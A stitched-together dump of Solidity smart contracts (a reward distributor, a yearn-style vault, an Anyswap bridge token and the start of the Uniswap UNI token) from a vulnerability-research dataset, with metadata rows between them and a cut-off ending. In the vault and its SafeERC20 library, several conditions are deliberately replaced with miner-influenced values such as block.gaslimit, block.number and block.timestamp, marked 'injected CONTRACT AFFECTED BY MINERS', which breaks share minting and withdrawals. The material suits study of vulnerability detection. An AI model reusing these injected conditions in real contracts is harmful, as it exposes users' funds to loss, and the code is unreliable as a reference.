library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable ODAO;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _odao, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_odao != address(0));
ODAO = _odao;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(ODAO).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 235,383 | 138 |
f943b452519de55197e43654a9b095293c3569596631fdd85029908d447ada2c
| 15,159 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/contractAffectedByMiners/0x3495e6876c390eef76554c24a0ee2f6216bea71d_affectedByMiners.sol
| 3,864 | 14,893 |
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (block.timestamp > 0) { // Return data is optional //injected CONTRACT AFFECTED BY MINERS
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface WETH {
function deposit() external payable;
function withdraw(uint wad) external;
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
}
interface Controller {
function withdraw(address, uint) external;
function balanceOf(address) external view returns (uint);
function earn(address, uint) external;
}
contract yVault is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
IERC20 public token;
uint public min = 9990;
uint public constant max = 10000;
address public governance;
address public controller;
constructor (address _token, address _controller) public ERC20Detailed(string(abi.encodePacked("yearn ", ERC20Detailed(_token).name())),
string(abi.encodePacked("y", ERC20Detailed(_token).symbol())),
ERC20Detailed(_token).decimals()) {
token = IERC20(_token);
governance = msg.sender;
controller = _controller;
}
function balance() public view returns (uint) {
return token.balanceOf(address(this))
.add(Controller(controller).balanceOf(address(token)));
}
function setMin(uint _min) external {
require(msg.sender == governance, "!governance");
min = _min;
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setController(address _controller) public {
require(msg.sender == governance, "!governance");
controller = _controller;
}
// Custom logic in here for how much the vault allows to be borrowed
// Sets minimum required on-hand to keep small withdrawals cheap
function available() public view returns (uint) {
return token.balanceOf(address(this)).mul(min).div(max);
}
function earn() public {
uint _bal = available();
token.safeTransfer(controller, _bal);
Controller(controller).earn(address(token), _bal);
}
function depositAll() external {
deposit(token.balanceOf(msg.sender));
}
function deposit(uint _amount) public {
uint _pool = balance();
uint _before = token.balanceOf(address(this));
token.safeTransferFrom(msg.sender, address(this), _amount);
uint _after = token.balanceOf(address(this));
_amount = _after.sub(_before); // Additional check for deflationary tokens
uint shares = 0;
if (block.gaslimit == 0) { //injected CONTRACT AFFECTED BY MINERS
shares = _amount;
} else {
shares = (_amount.mul(totalSupply())).div(_pool);
}
_mint(msg.sender, shares);
}
function depositETH() public payable {
uint _pool = balance();
uint _before = token.balanceOf(address(this));
uint _amount = msg.value;
WETH(address(token)).deposit.value(_amount)();
uint _after = token.balanceOf(address(this));
_amount = _after.sub(_before); // Additional check for deflationary tokens
uint shares = 0;
if (block.timestamp == 0) { //injected CONTRACT AFFECTED BY MINERS
shares = _amount;
} else {
shares = (_amount.mul(totalSupply())).div(_pool);
}
_mint(msg.sender, shares);
}
function withdrawAll() external {
withdraw(balanceOf(msg.sender));
}
function withdrawAllETH() external {
withdrawETH(balanceOf(msg.sender));
}
// Used to swap any borrowed reserve over the debt limit to liquidate to 'token'
function harvest(address reserve, uint amount) external {
require(msg.sender == controller, "!controller");
require(reserve != address(token), "token");
IERC20(reserve).safeTransfer(controller, amount);
}
// No rebalance implementation for lower fees and faster swaps
function withdraw(uint _shares) public {
uint r = (balance().mul(_shares)).div(totalSupply());
_burn(msg.sender, _shares);
// Check balance
uint b = token.balanceOf(address(this));
if (block.gaslimit < r) { //injected CONTRACT AFFECTED BY MINERS
uint _withdraw = r.sub(b);
Controller(controller).withdraw(address(token), _withdraw);
uint _after = token.balanceOf(address(this));
uint _diff = _after.sub(b);
if (block.number < _withdraw) { //injected CONTRACT AFFECTED BY MINERS
r = b.add(_diff);
}
}
token.safeTransfer(msg.sender, r);
}
// No rebalance implementation for lower fees and faster swaps
function withdrawETH(uint _shares) public {
uint r = (balance().mul(_shares)).div(totalSupply());
_burn(msg.sender, _shares);
// Check balance
uint b = token.balanceOf(address(this));
if (block.number < r) { //injected CONTRACT AFFECTED BY MINERS
uint _withdraw = r.sub(b);
Controller(controller).withdraw(address(token), _withdraw);
uint _after = token.balanceOf(address(this));
uint _diff = _after.sub(b);
if (block.gaslimit < _withdraw) { //injected CONTRACT AFFECTED BY MINERS
r = b.add(_diff);
}
}
WETH(address(token)).withdraw(r);
address(msg.sender).transfer(r);
}
function getPricePerFullShare() public view returns (uint) {
return balance().mul(1e18).div(totalSupply());
}
}
| 281,349 | 139 |
199e56d6cc542a001b38c9683693070f5b0294e4c8b2365edcd77e0b36845378
| 14,734 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/84/84cebca6bd17fe11f7864f7003a1a30f2852b1dc_AnyswapV6ERC20.sol
| 3,294 | 12,942 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV6ERC20 is IERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bool public constant underlyingIsMinted = false;
/// @dev Records amount of AnyswapV6ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// delay for timelock functions
uint public constant DELAY = 2 days;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV6ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == vault, "AnyswapV6ERC20: FORBIDDEN");
_;
}
function owner() external view returns (address) {
return vault;
}
function mpc() external view returns (address) {
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
_init = false;
vault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
}
function setVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV6ERC20: address(0)");
pendingVault = _vault;
delayVault = block.timestamp + DELAY;
}
function applyVault() external onlyVault {
require(pendingVault != address(0) && block.timestamp >= delayVault);
vault = pendingVault;
pendingVault = address(0);
delayVault = 0;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV6ERC20: address(0)");
pendingMinter = _auth;
delayMinter = block.timestamp + DELAY;
}
function applyMinter() external onlyVault {
require(pendingMinter != address(0) && block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
pendingMinter = address(0);
delayMinter = 0;
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV6ERC20: address(0)");
emit LogChangeVault(vault, newVault, block.timestamp);
vault = newVault;
pendingVault = address(0);
delayVault = 0;
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) external onlyAuth returns (bool) {
if (underlying != address(0) && IERC20(underlying).balanceOf(address(this)) >= amount) {
IERC20(underlying).safeTransfer(account, amount);
} else {
_mint(account, amount);
}
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) external returns (bool) {
require(!_vaultOnly, "AnyswapV6ERC20: vaultOnly");
require(bindaddr != address(0), "AnyswapV6ERC20: address(0)");
if (underlying != address(0) && balanceOf[msg.sender] < amount) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
} else {
_burn(msg.sender, amount);
}
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
}
/// @dev Returns the total supply of AnyswapV6ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(!underlyingIsMinted);
require(underlying != address(0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
require(!underlyingIsMinted);
require(underlying != address(0) && underlying != address(this));
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
uint256 balance = balanceOf[account];
require(balance >= amount, "ERC20: burn amount exceeds balance");
balanceOf[account] = balance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV6ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Moves `value` AnyswapV6ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV6ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) && to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV6ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV6ERC20 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) && to != address(this));
if (from != msg.sender) {
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV6ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV6ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
}
| 321,866 | 140 |
f1b1e2a4afc4b902afe0e0073d93276f97953be15b0b055cbfbc1a29e3deaa92
| 23,425 |
.sol
|
Solidity
| false |
303732004
|
makerdao/deployed-collateral-contracts
|
6a1811ab2aa6dc9a2c54cc1497fed4ed9370000c
|
src/greenlit-queued/UNI/UNI.sol
| 4,194 | 15,750 |
// https://etherscan.io/address/0x1f9840a85d5af5bf1d1762f925bdaddc4201f984#code
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Uni {
/// @notice EIP-20 token name for this token
string public constant name = "Uniswap";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "UNI";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public totalSupply = 1_000_000_000e18; // 1 billion Uni
/// @notice Address which may mint new tokens
address public minter;
/// @notice The timestamp after which minting may occur
uint public mintingAllowedAfter;
/// @notice Minimum time between mints
uint32 public constant minimumTimeBetweenMints = 1 days * 365;
/// @notice Cap on the percentage of totalSupply that can be minted at each mint
uint8 public constant mintCap = 2;
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
